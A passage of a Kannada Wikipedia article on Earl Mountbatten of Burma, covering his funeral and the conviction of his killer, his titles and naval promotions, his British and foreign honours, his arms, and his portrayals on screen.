ಡಬ್ಲಿನ್‌‌ನಲ್ಲಿನ St. ಪ್ಯಾಟ್ರಿಕ್‌ಸ್‌ ಕೆಥಡ್ರಲ್‌ ಇಗರ್ಜಿಯೊಂದರಲ್ಲಿ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರ ಸ್ಮರಣೆಗಾಗಿ ಏರ್ಪಡಿಸಿದ್ದ ಕಾರ್ಯಕ್ರಮದಲ್ಲಿ ಪಾಲ್ಗೊಂಡಿದ್ದರು. ತಾವೇ ಸ್ವತಃ ಯೋಜಿಸಿದ್ದ ಹಾಗೆ ವೆಸ್ಟ್‌ಮಿನ್‌ಸ್ಟರ್‌‌ ಇಗರ್ಜಿಯಲ್ಲಿ ಉತ್ತರಕ್ರಿಯೆಗಳನ್ನು ನಡೆಸಿದ ಕಿರುತೆರೆ ಪ್ರಸಾರದ ನಂತರ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರ ದೇಹವನ್ನು ರಾಮ್ಸೆ ಇಗರ್ಜಿಯಲ್ಲಿ ಹೂತಿಡಲಾಯಿತು.<ref>{{Cite journal| last = Hugo| first = Vickers| title = The Man Who Was Never Wrong| journal = Royalty Monthly| page = 42|date=November 1989| postscript = <!--None-->}}</ref> ೨೩ ನವೆಂಬರ್‌‌ ೧೯೭೯ರಂದು ಬಾಂಬ್‌ ದಾಳಿಯಲ್ಲಿ ಪಾತ್ರ ವಹಿಸಿರುವುದು ಸಾಬೀತಾದ ನಂತರ ಥಾಮಸ್‌ ಮೆಕ್‌ಮೋಹನ್‌‌ ಕೊಲೆಯ ವಿಚಾರದಲ್ಲಿ ತಪಿತಸ್ಥನೆಂದು ನಿರ್ಣಯಿಸಲಾಯಿತು. ಶುಭ ಶುಕ್ರವಾದ ಒಪ್ಪಂದದ ಅಂಗವಾಗಿ ೧೯೯೮ರಲ್ಲಿ ಆತನನ್ನು ಬಿಡುಗಡೆಗೊಳಿಸಲಾಯಿತು.<ref name="bbc">[http://news.bbc.co.uk/onthisday/hi/dates/stories/august/27/newsid_2511000/2511545.stm IRA ಸ್ಫೋಟಿಸಿದ ಬಾಂಬು ಲಾರ್ಡ್‌‌ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರ ಮರಣಕ್ಕೆ ಕಾರಣವಾಯಿತು] — BBC ನ್ಯೂಸ್‌ ಆನ್‌ ದಿಸ್‌ ಡೇ</ref><ref>ಎ ಸೀಕ್ರೆಟ್‌ ಹಿಸ್ಟರಿ ಆಫ್‌ ದ IRA, ಎಡ್‌ ಮೊಲೊನೆ, ೨೦೦೨. (PB) ISBN ೦-೩೯೩-೩೨೫೦೨-೪ (HB) ISBN ೦-೭೧೩೯-೯೬೬೫-X p.೧೭೬</ref> ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರ ಸಾವಿನ ವಿಚಾರ ತಿಳಿಯಲ್ಪಟ್ಟ ನಂತರ ಶೋಕಭರಿತರಾದ ಆಗಿನ ಮಾಸ್ಟರ್‌ ಆಫ್‌ ದ ಕ್ವೀನ್ಸ್‌ ಮ್ಯೂಸಿಕ್‌ ಆಗಿದ್ದ ಮ್ಯಾಲ್‌ಕಾಲ್ಮ್‌ ವಿಲಿಯಮ್ಸನ್‌ರು ಪಿಟೀಲು ಹಾಗೂ ತಂತಿ ವಾದ್ಯವೃಂದದವರು ನುಡಿಸಲಾಗುವಂತೆ ''ಬರ್ಮಾದ ಲಾರ್ಡ್‌‌ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರ ಸ್ಮರಣೆಗಾಗಿ ಶೋಕಗೀತೆ'' ಯನ್ನು ರಚಿಸಲು ನಿರ್ಧರಿಸಿದರು. ಈ ೧೧-ನಿಮಿಷಗಳ ಅವಧಿಯ ಕೃತಿಯ ಪ್ರಥಮ ಹಾಡುಗಾರಿಕೆಯನ್ನು ೫ ಮೇ ೧೯೮೦ರಂದು ಸ್ಕಾಟಿಷ್‌ ಬರೋಕ್‌ ಶೈಲಿಯ ಸಂಗೀತಗಾರರ ವೃಂದದಿಂದ ನಡೆಸಿಕೊಡಲ್ಪಟ್ಟಿತು ಇದನ್ನು ಲಿಯೋನಾರ್ಡ್‌ ಫ್ರೀಡ್‌ಮನ್‌ ಆಯೋಜಿಸಿದ್ದರು.<ref>[http://www.independent.co.uk/news/obituaries/malcolm-williamson-730094.html ಮ್ಯಾಲ್‌ಕಾಲ್ಮ್‌ ವಿಲಿಯಮ್ಸನ್‌ ಒಬಿಚ್ಯುಯರಿ] {{Webarchive|url=https://web.archive.org/web/20080611180936/http://www.independent.co.uk/news/obituaries/malcolm-williamson-730094.html |date=11 ಜೂನ್ 2008 }} ''ದ ಇಂಡಿಪೆಂಡೆಂಟ್‌'' , ೪ ಮಾರ್ಚ್‌ ೨೦೦೩</ref> ==ಹುಟ್ಟಿನಿಂದ ಸಾವಿನವರೆಗೆ ಅವರು ಹೊಂದಿದ್ದ ಅಭಿದಾನ ನಾಮಾಂಕಿತಗಳು== *೧೯೦೦-೧೯೧೩: ''ಘನತೆವೆತ್ತ ಪ್ರಭು'' ಬ್ಯಾಟೆನ್‌ಬರ್ಗ್‌‌‌ನ ರಾಜಕುಮಾರ ಲೂಯಿಸ್‌ ({{lang-de|Seine Durchlaucht Prinz Ludwig Franz Albrecht Viktor Nicholas Georg von Battenberg}}) *೧೯೧೩-೧೯೧೬: ಕೆಡೆಟ್‌ ''ಘನತೆವೆತ್ತ ಪ್ರಭು'' ಬ್ಯಾಟೆನ್‌ಬರ್ಗ್‌‌‌ನ ರಾಜಕುಮಾರ ಲೂಯಿಸ್‌ *೧೯೧೬-೧೯೧೭: ಮಿಡ್‌ಷಿಪ್‌ಮನ್‌ ''ಘನತೆವೆತ್ತ ಪ್ರಭು'' ಬ್ಯಾಟೆನ್‌ಬರ್ಗ್‌‌‌ನ ರಾಜಕುಮಾರ ಲೂಯಿಸ್‌ *೧೯೧೭: ಮಿಡ್‌ಷಿಪ್‌ಮನ್‌ ಲೂಯಿಸ್‌ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ *೧೯೧೭-೧೯೧೮: ಮಿಡ್‌ಷಿಪ್‌ಮನ್‌ ಲಾರ್ಡ್‌‌ ಲೂಯಿಸ್‌ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ *೧೯೧೮-೧೯೨೦: ಸಬ್‌-ಲೆಫ್ಟಿನೆಂಟ್‌‌ ಲಾರ್ಡ್‌‌ ಲೂಯಿಸ್‌ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ *೧೯೨೦-೧೯೨೧: ಲೆಫ್ಟಿನೆಂಟ್‌‌ ಲಾರ್ಡ್‌‌ ಲೂಯಿಸ್‌ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌, MVO *೧೯೨೧-೧೯೨೮: ಲೆಫ್ಟಿನೆಂಟ್‌‌ ಲಾರ್ಡ್‌‌ ಲೂಯಿಸ್‌ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌, KCVO *೧೯೨೮-೧೯೩೨: ಲೆಫ್ಟಿನೆಂಟ್‌‌ -ದಳಪತಿ/ಕಮ್ಯಾಂಡರ್‌ ಲಾರ್ಡ್‌‌ ಲೂಯಿಸ್‌ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌, KCVO *೧೯೩೨-೧೯೩೭: ದಳಪತಿ ಲಾರ್ಡ್‌‌ ಲೂಯಿಸ್‌ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌, KCVO *೧೯೩೭-೧೯೪೧: ಕಪ್ತಾನ/ನೌಕಾನಾಯಕ ಲಾರ್ಡ್‌‌ ಲೂಯಿಸ್‌ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌, GCVO *೧೯೪೧-೧೯೪೩: ಕಾಮಡೋರ್‌ ಲಾರ್ಡ್‌‌ ಲೂಯಿಸ್‌ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌, GCVO, DSO *೧೯೪೩-೧೯೪೬: ಕಾಮಡೋರ್‌ ಲಾರ್ಡ್‌‌ ಲೂಯಿಸ್‌ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌, GCVO, CB, DSO *೧೯೪೬-೧೯೪೭: ರೇರ್‌‌ ಅಡ್ಮೀರಲ್‌ ''ರೈಟ್‌ ಆನರಬಲ್‌ '' ಬರ್ಮಾದ ವೈಕೌಂಟ್‌‌ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌, KG, GCVO, KCB, DSO *೧೯೪೭-೧೯೪೮: ರೇರ್‌‌ ಅಡ್ಮೀರಲ್‌ ಘನತೆವೆತ್ತ ''ರೈಟ್‌ ಆನರಬಲ್‌'' ಬರ್ಮಾದ ಅರ್ಲ್‌‌ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌, KG, GCSI, GCIE, GCVO, KCB, DSO, PC *೧೯೪೮-೧೯೪೯: ರೇರ್‌‌ ಅಡ್ಮೀರಲ್‌ ''ರೈಟ್‌ ಆನರಬಲ್‌ '' ಬರ್ಮಾದ ಅರ್ಲ್‌‌ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌, KG, GCSI, GCIE, GCVO, KCB, DSO, PC *೧೯೪೯-೧೯೫೩: ವೈಸ್‌-ಅಡ್ಮೀರಲ್‌ ''ರೈಟ್‌ ಆನರಬಲ್‌ '' ಬರ್ಮಾದ ಅರ್ಲ್‌‌ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌, KG, GCSI, GCIE, GCVO, KCB, DSO, PC *೧೯೫೩-೧೯೫೫: ಅಡ್ಮೀರಲ್‌ ''ರೈಟ್‌ ಆನರಬಲ್‌'' ಬರ್ಮಾದ ಅರ್ಲ್‌‌ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್, KG, GCSI, GCIE, GCVO, KCB, DSO, PC *೧೯೫೫-೧೯೫೬: ಅಡ್ಮೀರಲ್‌ ''ರೈಟ್‌ ಆನರಬಲ್‌'' ಬರ್ಮಾದ ಅರ್ಲ್‌‌ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್, KG, GCB, GCSI, GCIE, GCVO, DSO, PC *೧೯೫೬-೧೯೬೫: ನೌಕಾದಳಾಧಿಪತಿ ''ರೈಟ್‌ ಆನರಬಲ್‌'' ಬರ್ಮಾದ ಅರ್ಲ್‌‌ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್, KG, GCB, GCSI, GCIE, GCVO, DSO, PC *೧೯೬೫-೧೯೬೬: ನೌಕಾದಳಾಧಿಪತಿ ''ರೈಟ್‌ ಆನರಬಲ್‌'' ಬರ್ಮಾದ ಅರ್ಲ್‌‌ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್, KG, GCB, OM, GCSI, GCIE, GCVO, DSO, PC *೧೯೬೬-೧೯೭೯: ನೌಕಾದಳಾಧಿಪತಿ ''ರೈಟ್‌ ಆನರಬಲ್‌'' ಬರ್ಮಾದ ಅರ್ಲ್‌‌ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್, KG, GCB, OM, GCSI, GCIE, GCVO, DSO, PC, FRS<ref name="ref">[http://www.unithistories.com/units_index/default.asp?file=../officers/personsx.html ]</ref> ==ದರ್ಜೆಗಳಲ್ಲಿ ಸಿಕ್ಕ ಬಡತಿಗಳು== *ಕೆಡೆಟ್‌, RN-೧೯೧೩ *ಮಿಡ್‌ಷಿಪ್‌ಮನ್‌, RN-೧೯೧೬ *ಸಬ್‌-ಲೆಫ್ಟಿನೆಂಟ್‌, RN-೧೯೧೮ *ಲೆಫ್ಟಿನೆಂಟ್‌, RN-೧೯೨೦ *ಲೆಫ್ಟಿನೆಂಟ್‌‌ -ದಳಪತಿ/ಕಮ್ಯಾಂಡರ್‌, RN-೧೯೨೮ *ದಳಪತಿ/ಕಮ್ಯಾಂಡರ್‌, RN-೧೯೩೨ *ಕಪ್ತಾನ/ನೌಕಾನಾಯಕ, RN-೧೯೩೭ *ಕಾಮಡೋರ್‌, RN-೧೯೪೧ **''ಹಂಗಾಮಿ ವೈಸ್‌-ಅಡ್ಮೀರಲ್‌, RN'' -೧೯೪೨ **''ಹಂಗಾಮಿ ಅಡ್ಮೀರಲ್‌, RN'' -೧೯೪೩ *ರೇರ್‌‌ ಅಡ್ಮೀರಲ್‌, RN-೧೯೪೬ *ವೈಸ್‌-ಅಡ್ಮೀರಲ್, RN-೧೯೪೯ **''ಹಂಗಾಮಿ ಅಡ್ಮೀರಲ್‌, RN'' -೧೯೫೨ *ಅಡ್ಮೀರಲ್, RN-೧೯೫೩ *ನೌಕಾದಳಾಧಿಪತಿ, RN-೧೯೫೬<ref name="ref" /> ==ಗೌರವಗಳು== {| border="0" cellpadding="2" cellspacing="0" align="center" style="margin:1em 1em 1em 0;background:white;border:1px #0047AB solid;border-collapse:collapse" |- bgcolor="white" ! colspan="4" align="center"|<span style="color:black;">ಬರ್ಮಾದ ಅರ್ಲ್‌‌ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರ ಬಿರುದುಪಟ್ಟಿಗಳು (UKಯ ಭೂಷಣಲಾಂಛನಗಳು)</span> |- | {{ribbon devices|number=0|ribbon=Order of the Garter UK ribbon.png}} | {{ribbon devices|number=0|ribbon=Order_of_the_Bath_UK_ribbon.png}} | {{ribbon devices|number=0|ribbon=Order of Merit (Commonwealth realms) ribbon.svg}} | {{ribbon devices|number=0|ribbon=Ord.Stella.India.jpg}} |- | {{ribbon devices|number=0|ribbon=Order of the Indian Empire Ribbon.svg}} | {{ribbon devices|number=0|ribbon=Royal Victorian Order ribbon sm.jpg}} | {{Ribbon devices|number=0|ribbon=Dso-ribbon.png}} | {{ribbon devices|number=0|ribbon=VOStJ ribbon.png}} |- | {{ribbon devices|number=0|ribbon=BWMRibbon.png}} | {{ribbon devices|number=0|ribbon=Victory medal (UK) ribbon.png}} | {{Ribbon devices|number=0|ribbon=1939-45 Star.jpg}} | {{ribbon devices|number=0|ribbon=BurmaStarRibbon.png}} |- | {{ribbon devices|number=0|ribbon=War Medal 1939–1945 (UK) ribbon.png}} | {{ribbon devices|number=0|ribbon=King George V Coronation Medal ribbon.png}} | {{Ribbon devices|number=0|ribbon=GeorgeVSilverJubileum-ribbon.png}} | {{ribbon devices|number=0|ribbon=GeorgeVICoronationRibbon.png}} |- | {{ribbon devices|number=0|ribbon=UK Queen EII Coronation Medal ribbon.svg}} | |} ===ಬ್ರಿಟಿಷ್=== * ೧೯೩೭: ನೈಟ್‌‌ ಗ್ರ್ಯಾಂಡ್‌ ಕ್ರಾಸ್‌‌ ಆಫ್‌ ದ ರಾಯಲ್‌ ವಿಕ್ಟೋರಿಯನ್‌ ಆರ್ಡರ್‌ – GCVO<ref>{{London Gazette|issue=34365|date=29 January 1937|startpage=693|supp=y|accessdate=13 March 2010}}</ref> (೧೯೨೦: MVO,<ref>{{London Gazette|issue=32086|date=15 October 1920|startpage=9987|accessdate=13 March 2010}}</ref> ೧೯೨೨: KCVO<ref>{{London Gazette|issue=32730|date=18 July 1922|startpage=5353|accessdate=13 March 2010}}</ref>) * ೧೯೪೦: ನೈಟ್‌‌ ಆಫ್‌ ಜಸ್ಟೀಸ್‌ ಆಫ್‌ St ಜಾನ್‌ – KJStJ<ref>{{London Gazette|issue=34878|date=21 June 1940|startpage=3777|accessdate=13 March 2010}}</ref> (೧೯೨೯: CStJ)<ref>{{London Gazette|issue=33453|date=1 January 1929|startpage=49|accessdate=13 March 2010}}</ref> * ೧೯೪೧: ಕಂಪ್ಯಾನಿಯನ್‌ ಆಫ್‌ ದ ಡಿಸ್ಟಿಂಗ್ವಿಷ್‌ಡ್‌ ಸರ್ವೀಸ್‌ ಆರ್ಡರ್ – DSO<ref>{{London Gazette|issue=35029|date=31 December 1940|startpage=25|supp=y|accessdate=13 March 2010}}</ref> * ೧೯೪೬: ನೈಟ್‌‌ ಆಫ್‌ ದ ಗಾರ್ಟರ್‌ – KG<ref>{{London Gazette|issue=37807|date=3 December 1946|startpage=5945|supp=y|accessdate=2 April 2010}}</ref> * ೧೯೪೭: ನೈಟ್‌‌ ಗ್ರ್ಯಾಂಡ್‌ ಕಮ್ಯಾಂಡರ್‌‌ ಆಫ್‌ ದ ಸ್ಟಾರ್‌ ಆಫ್‌ ಇಂಡಿಯಾ – GCSI * ೧೯೪೭: ನೈಟ್‌‌ ಗ್ರ್ಯಾಂಡ್‌ ಕಮ್ಯಾಂಡರ್‌‌ ಆಫ್‌ ದ ಇಂಡಿಯನ್‌ ಎಂಪೈರ್‌ – GCIE * ೧೯೫೫: ನೈಟ್‌‌ ಗ್ರ್ಯಾಂಡ್‌ ಕ್ರಾಸ್‌‌ ಆಫ್‌ ದ ಆರ್ಡರ್‌ ಆಫ್‌ ದ ಬಾತ್‌ – GCB (೧೯೪೩: CB, ೧೯೪೫: KCB<ref>{{London Gazette|issue=37023|date=6 April 1945|startpage=1893|supp=y|accessdate=13 March 2010}}</ref>) * ೧೯೬೫: ಮೆಂಬರ್‌ ಆಫ್‌ ದ ಆರ್ಡರ್‌ ಆಫ್‌ ಮೆರಿಟ್‌ – OM<ref>{{London Gazette|issue=43713|date=16 July 1965|startpage=6729|accessdate=2 April 2010}}</ref> ===ವಿದೇಶ=== * ೧೯೨೨: ಗ್ರ್ಯಾಂಡ್‌ ಕ್ರಾಸ್‌‌ ಆಫ್‌ ದ ಆರ್ಡರ್‌ ಆಫ್‌ ಇಸಾಬೆಲ್‌ ದ ಕ್ಯಾಥೊಲಿಕ್‌ ಆಫ್‌ [[ಸ್ಪೇನ್|ಸ್ಪೇನ್‌]] * ೧೯೨೪: ಗ್ರ್ಯಾಂಡ್‌ ಕ್ರಾಸ್‌‌ ಆಫ್‌ ದ ಆರ್ಡರ್‌ ಆಫ್‌ ದ ಕ್ರೌನ್‌ ಆಫ್‌ ರೊಮೇನಿಯಾ * ೧೯೩೭: ಗ್ರ್ಯಾಂಡ್‌ ಕ್ರಾಸ್‌‌ ಆಫ್‌ ದ ಆರ್ಡರ್‌ ಆಫ್‌ ದ ಸ್ಟಾರ್‌ ಆಫ್‌ ರೊಮೇನಿಯಾ * ೧೯೪೧: ವಾರ್‌ ಕ್ರಾಸ್‌ (ಗ್ರೀಸ್‌‌) * ೧೯೪೩: ಚೀಫ್‌ ಕಮ್ಯಾಂಡರ್‌ ಆಫ್‌ ದ ಲೆಜಿಯನ್‌ ಆಫ್‌ ಮೆರಿಟ್‌ , [[ಅಮೇರಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ|ಯುನೈಟೆಡ್‌ ಸ್ಟೇಟ್ಸ್‌‌]] * ೧೯೪೫: ಸ್ಪೆಷಲ್‌ ಗ್ರಾಂಡ್‌ ಕಾರ್ಡನ್‌ ಆಫ್‌ ದ ಆರ್ಡರ್‌ ಆಫ್‌ ದ ಕ್ಲೌಡ್‌ ಅಂಡ್‌ ಬ್ಯಾನರ್‌ ಆಫ್‌ [[ಚೀನಾ|ಚೈನಾ]]<ref>{{London Gazette|issue=37023|date=6 April 1945|startpage=1895|supp=y|accessdate=13 March 2010}}</ref> * ೧೯೪೫: ಡಿಸ್ಟಿಂಗ್ವಿಷ್‌ಡ್‌ ಸರ್ವೀಸ್‌ ಮೆಡಲ್‌, [[ಅಮೇರಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ|ಯುನೈಟೆಡ್‌ ಸ್ಟೇಟ್ಸ್‌]]<ref>{{London Gazette|issue=37299|date=5 October 1945|startpage=4954|supp=y|accessdate=13 March 2010}}</ref> * ೧೯೪೫: ಏಷ್ಯಾಟಿಕ್‌-ಪೆಸಿಫಿಕ್‌ ಕ್ಯಾಂಪೇನ್‌ ಮೆಡಲ್‌, [[ಅಮೇರಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ|ಯುನೈಟೆಡ್‌ ಸ್ಟೇಟ್ಸ್‌‌]] * ೧೯೪೬: ಗ್ರ್ಯಾಂಡ್‌ ಕ್ರಾಸ್‌‌ ಆಫ್‌ ದ ಲೆಜಿಯನ್‌ ಡಿ'ಹಾನ್ನೆಯೂರ್‌ ಆಫ್‌ [[ಫ್ರಾನ್ಸ್|ಫ್ರಾನ್ಸ್‌‌]] * ೧೯೪೬: ಕ್ರಾಯಿಕ್ಸ್‌ ಡೆ ಗುಯೆರ್ರೆ, ಫ್ರಾನ್ಸ್‌ * ೧೯೪೬: ಗ್ರ್ಯಾಂಡ್‌ ಕಮ್ಯಾಂಡರ್‌‌ ಆಫ್‌ ದ ಆರ್ಡರ್‌ ಆಫ್‌ ದ ಸ್ಟಾರ್‌ ಆಫ್‌ [[ನೇಪಾಳ|ನೇಪಾಳ್‌]] * ೧೯೪೬: ಗ್ರ್ಯಾಂಡ್‌ ಕ್ರಾಸ್‌‌ ಆಫ್‌ ದ ಆರ್ಡರ್‌ ಆಫ್‌ ದ ವೈಟ್‌ ಎಲಿಫೆಂಟ್‌ ಆಫ್‌ [[ಥೈಲ್ಯಾಂಡ್|ಥೈಲೆಂಡ್‌]] * ೧೯೪೬: ನೈಟ್‌‌ ಗ್ರ್ಯಾಂಡ್‌ ಕ್ರಾಸ್‌‌ ಆಫ್‌ ದ ಆರ್ಡರ್‌ ಆಫ್‌ ಜಾರ್ಜ್‌‌ I ಆಫ್‌ [[ಗ್ರೀಸ್|ಗ್ರೀಸ್‌‌]]<ref>{{London Gazette|issue=37777|date=1 November 1946|startpage=5418|supp=y|accessdate=2 April 2010}}</ref> * ೧೯೪೮: ಗ್ರ್ಯಾಂಡ್‌ ಕ್ರಾಸ್‌‌ ಆಫ್‌ ದ ಆರ್ಡರ್‌ ಆಫ್‌ ದ ನೆದರ್ಲೆಂಡ್ಸ್‌ ಲಯನ್‌<ref>{{London Gazette|issue=38176|date=13 January 1948|startpage=274|accessdate=13 March 2010}}</ref> * ೧೯೫೧: ಗ್ರ್ಯಾಂಡ್‌ ಕ್ರಾಸ್‌‌ ಆಫ್‌ ದ ಆರ್ಡರ್‌ ಆಫ್‌ ಅವಿಜ್‌ ಆಫ್‌ [[ಪೋರ್ಚುಗಲ್|ಪೋರ್ಚುಗಲ್‌]] - GCA * ೧೯೫೨: ನೈಟ್‌‌ ಆಫ್‌ ದ ರಾಯಲ್‌ ಆರ್ಡರ್‌ ಆಫ್‌ ದ ಸೆರಾಫಿಮ್‌ ಆಫ್‌ [[ಸ್ವೀಡನ್|ಸ್ವೀಡನ್‌]] - RSerafO<ref>ನಾರ್ಡೆನ್‌ವಾಲ್‌, Per. Kungl. ಸೆರಾಫೈಮ್‌ರಾರ್ಡೆನ್‌ ೧೭೪೮ - ೧೯೯೮</ref><ref>{{Cite web|url=http://img267.imageshack.us/img267/624/mountbattenofburmaki1.jpg|title=Mountbatten's coat of arms as a Knight of the Royal Order of the Seraphim|date=|accessdate=2010-06-22|archiveurl=https://archive.today/20120524211717/http://img267.imageshack.us/img267/624/mountbattenofburmaki1.jpg|archivedate=24 ಮೇ 2012|url-status=live}}</ref> * ೧೯೫೬: ಗ್ರ್ಯಾಂಡ್‌ ಕಮ್ಯಾಂಡರ್‌‌ ಆಫ್‌ ದ ಆರ್ಡರ್‌ ಆಫ್‌ ದ ಥಿರಿ ಥುಡಮ್ಮಾ (ಬರ್ಮಾ) * ೧೯೬೨: ಗ್ರ್ಯಾಂಡ್‌ ಕ್ರಾಸ್‌‌ ಆಫ್‌ ದ ಆರ್ಡರ್‌ ಆಫ್‌ ದ ಡಾನ್ನೆರ್‌ಬ್ರಾಗ್‌ ಆಫ್‌ [[ಡೆನ್ಮಾರ್ಕ್‌]] - SKDO * ೧೯೬೫: ಗ್ರ್ಯಾಂಡ್‌ ಕ್ರಾಸ್‌‌ ಆಫ್‌ ದ ಆರ್ಡರ್‌ ಆಫ್‌ ದ ಸೀಲ್‌ ಆಫ್‌ ಸೋಲೋಮನ್‌ ಆಫ್‌ [[ಇತಿಯೋಪಿಯ|ಇಥಿಯೋಪಿಯಾ]] ===ಶಸ್ತ್ರಾಸ್ತ್ರಗಳು=== {{Infobox COA wide |image = 1st Earl Mountbatten of Burma and 2nd Marquess of Milford Haven arms.svg |bannerimage = |badgeimage = |notes =The arms of the Earl Mountbatten of Burma consist of: |adopted = |crest =Crests of Hesse modified and Battenberg. |torse = |helm =Helms of Hesse modified and Battenberg. |escutcheon = Within the Garter, Quarterly, 1st and 4th, Hesse with a bordure compony argent and gules; 2nd and 3rd, Battenberg; charged at the honour point with an inescutcheon of the British Royal arms with a label of three points argent, the centre point charged with a rose gules and each of the others with an ermine spot sable (Princess Alice, his grandmother).<ref>{{Cite book|last=Lee|first=Brian |authorlink=Brian Lee|title=British Royal Bookplates|year=1999|publisher=Scolar Press|location= Aldershot|isbn=0859078830|pages=15, 135 & 136}}</ref> |supporters = Two Lions queue fourchée and crowned all or. |compartment = |motto = |orders = |other_elements = |banner = |badge = |symbolism = |previous_versions = }} ==ರಂಗಭೂಮಿಯ ಮೇಲಿನ ಚಿತ್ರಣಗಳು== ಲಾರ್ಡ್‌‌ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರನ್ನು ಚಲನಚಿತ್ರಗಳಲ್ಲಿ ಹಲವು ಬಾರಿ ಚಿತ್ರಿಸಲಾಗಿದೆ. ಇನ್‌ ವಿಚ್‌ ವೀ ಸರ್ವ್‌ ಎಂಬುದೊಂದು ೧೯೪೨ರ ಬ್ರಿಟಿಷರ ಯುದ್ಧದ ಬಗೆಗಿನ ರಾಷ್ಟ್ರಪ್ರೇಮಿ ಚಲನಚಿತ್ರವಾಗಿದ್ದು ಇದರ ನಿರ್ದೇಶನವನ್ನು ಡೇವಿಡ್‌ ಲೀನ್‌‌ ಮತ್ತು ನೋಯೆಲ್‌ ಕೊವಾರ್ಡ್‌‌ರು ಮಾಡಿದ್ದರು ಹಾಗೂ ಈ ಚಿತ್ರವು ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರ ಅಧಿಪತ್ಯದಡಿಯಲ್ಲಿ HMS ಕೆಲ್ಲಿಯ ಮುಳುಗುವಿಕೆಯ ಘಟನೆಯಿಂದ ಪ್ರೇರೇಪಿತವಾಗಿತ್ತು. ಕೊವಾರ್ಡ್‌ರು ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರೊಂದಿಗೆ ವೈಯಕ್ತಿಕ ಸ್ನೇಹವನ್ನು ಹೊಂದಿದ್ದರಿಂದ ಅವರ ಹಲವು ಭಾಷಣಗಳನ್ನು ಚಲನಚಿತ್ರದಲ್ಲಿ ಹಾಗೆಯೇ ಉದ್ಧರಿಸಲಾಗಿದೆ. ಆಗಸ್ಟ್‌‌ ೧೯೪೨ರಲ್ಲಿ ನಡೆಸಲಾದ ಪ್ರಖ್ಯಾತ ಅಲ್ಲೈಡ್‌ ಕಮ್ಯಾಂಡೋ ದಾಳಿಯ ಯೋಜನೆಯನ್ನು ಸಿದ್ಧಪಡಿಸುವಲ್ಲಿ ಹಾಗೂ ಅನುಮೋದಿಸುವಲ್ಲಿ ಅವರ ವಿವಾದಾಸ್ಪದ ಪಾತ್ರವನ್ನು ಬಿಂಬಿಸುವ ಇತಿಹಾಸಕಾರ ಬ್ರಿಯಾನ್‌ ಲೋರಿಂಗ್‌-ವಿಲ್ಲಾರಿಂದ ರಚಿತವಾದ "ಅನ್‌ ಆಥರೈಸ್ಟ್‌ ಆಕ್ಷನ್‌ "ಕೃತಿಯನ್ನು ಆಧರಿಸಿ ನಿರ್ಮಿಸಿದ CBC ಕಿರುಸರಣಿ "ಡಿಯೆಪ್ಪೆ‌"ಯಲ್ಲಿ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರನ್ನು ಚಿತ್ರಿಸಲಾಗಿದೆ. ೧೯೬೮ರ ಯುದ್ಧದ ಬಗೆಗಿನ ಚಲನಚಿತ್ರ ದ ಡೆವಿಲ್ಸ್‌ ಬ್ರಿಗೇಡ್‌ನಲ್ಲಿ ಅಲ್ಪಾವಧಿಯ ಪಾತ್ರವೊಂದರಲ್ಲಿ ಪ್ಯಾಟ್ರಿಕ್‌ ನೋಲೆಸ್‌ರು ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ನ ಪಾತ್ರವನ್ನು ನಿರ್ವಹಿಸಿದ್ದರು. ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರ ಪಾತ್ರವನ್ನು [[ರಿಚರ್ಡ್ ಅಟೆನ್‍ಬರೊ|ಸರ್‌ ರಿಚರ್ಡ್‌ ಅಟೆನ್‌ಬರೋ]]ರ ೧೯೮೨ರ ಮಹಾಕೃತಿ ''ಗಾಂಧಿ'' ಯಲ್ಲಿ ಪೀಟರ್‌ ಹರ್ಲೋವೆ ವಹಿಸಿದ್ದರು. ೧೯೮೬ರಲ್ಲಿ, ITV ವಾಹಿನಿಯು ನಿಕೋಲ್‌ ವಿಲಿಯಮ್ಸನ್‌ ಮತ್ತು ಜ್ಯಾನೆಟ್‌ ಸುಜ್‌ಮನ್‌ರವರುಗಳು ಲಾರ್ಡ್‌‌ ಮತ್ತು ಲೇಡಿ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ರ ಪಾತ್ರಗಳನ್ನು ವಹಿಸಿದ್ದ ''ಲಾರ್ಡ್‌‌ ಮೌಂಟ್‌‌ಬ್ಯಾಟನ್‌‌ : ದ ಲಾಸ್ಟ್‌ ವೈಸ್‌‌ರಾಯ್‌‌'' ಎಂಬ ಚಿತ್ರವನ್ನು ನಿರ್ಮಿಸಿ ಪ್ರಸಾರವನ್ನೂ ಮಾಡಿತ್ತು. 